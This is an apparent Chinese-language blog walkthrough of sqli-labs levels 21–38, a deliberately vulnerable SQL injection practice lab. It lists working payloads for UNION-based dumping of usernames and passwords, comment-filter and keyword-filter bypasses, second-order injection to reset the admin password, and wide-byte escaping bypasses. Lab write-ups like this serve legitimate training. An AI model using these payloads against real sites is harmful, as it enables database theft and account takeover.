Less-21
虽然是Cookie注入,但是uname处却有些怪异,明明输入的是Dumb,结果却显示了一串字符,标题显示Base64。
对传入的参数进行加密处理。
对Payload进行编码
admin' and 1=1--+
:
YWRtaW4nIGFuZCAxPTEtLSs
有了错误回显。
之后就是构造闭合,通过')
闭合。
Payload:-admin') order by 3#
查字段长,然后就是正常流程了,只需要对Payload进行编码即可。
但是我在编码时候:
emmmmmmmmmmmmmmm。。。。
换一个平台就好了。
至于具体的构造语句,可以参考我上一篇内容:sqli-labs(Page 1)
Less-22
只需要找到闭合位置,替换成-admin" and 1=1#
即可,Payload是一样的。
Less-23
这关白盒比较好做。
if(isset($_GET['id']))
{
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
对注释符进行了替换。咋办,找大佬。下面是大佬的思路。
构造语句:id=' union select 1,2,3 '
爆出回显点,接下来Payload就一样了。
爆表:' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() or '1'='
爆列和上面一样,爆值有区别:
爆值:?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1'='
Less-24
这关很有趣,还是登录框,但是多了注册新用户的选项。
抓包没什么有用东西,还是要在页面上操作。
先注册一个新用户。
test,密码123456
然后用注册的用户登录,发现有修改密码的功能。
既然是修改密码,那肯定和数据库连接,数据库怎么改变数据内容呢,update
语句。
怎么才能登录admin帐号呢。
通过偷天换日。
先注册一个admin'#
帐号,密码123456。
用这个帐号登录。
现在我们是admin'#
身份登录,修改它的密码。
在对密码进行修改的时候,数据库执行这条语句:
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='456789'
而我们用的'#
符号派上了用场,注释掉了,整条语句就变为了:
UPDATE users SET PASSWORD='$pass' where username='admin' and password='456789''
然后用admin帐号登录,密码就是刚才修改的。
成功登录了admin帐号。
Less-25
直接就说了or
和and
这关被过滤了。
绕过。
一种方法是直接不用,直接拼接id=1'--+
,还有一种方法就是双写1' oorr 1=1--+
、1' aandnd 1=1--+
不过做的时候遇到一个问题就是,它给了我一个配置错误信息:
根据提示我查看了源码:
暂时还不知道什么原因。上次做的时候没出现问题。没办法了,后面几关都记录不上了。
Less-25到Less-28请去这个博客:https://blog.csdn.net/qq_41420747/article/details/81836327
Less-29
这关正常了。
加单引号错误。
构造:-1' union select 1,database(),3--+
之后就还是那些Payload
Less-30
只需要把上一关的单引号闭合替换为双引号即可。
Less-31
id=-1") union select 1,2,3--+
即可
Less-32
显示信息说input is escaped
。猜测是被转义了,宽字节绕过。
1%df' and 1=1--+
1正常,2异常,说明存在注入点。
之后是一样的。
Less-33
仍然是宽字节绕过。
绕过AddSlashes
用%E6%27
注释掉AddSlahes
函数转义进来的\
符号。
然后都是一样的。
Less-34
登录一下,方法还是宽字节绕过。
抓包分析,上一关的%E6%27
仍然可以用,唯一不同的是这关我这里字段长只有2个,其他不变。
Less-35
开始还是想宽字节了,结果都不行,然后看了眼标题,不需要在意,那直接单引号。
传入的参数前后都没有什么符号,那就直接注。
Less-36
绕过MySQL real_escape_string
直接%df%27
注入即可。
Less-37
POST方式,抓包,依然是%df%27
注入,不同的是字段长为2,其他不变。
Less-38
0值绕过(原谅我一时想不起这种方法叫什么了)
直接构造?id=0' union select 1,2,3--+
即可
诸君共勉。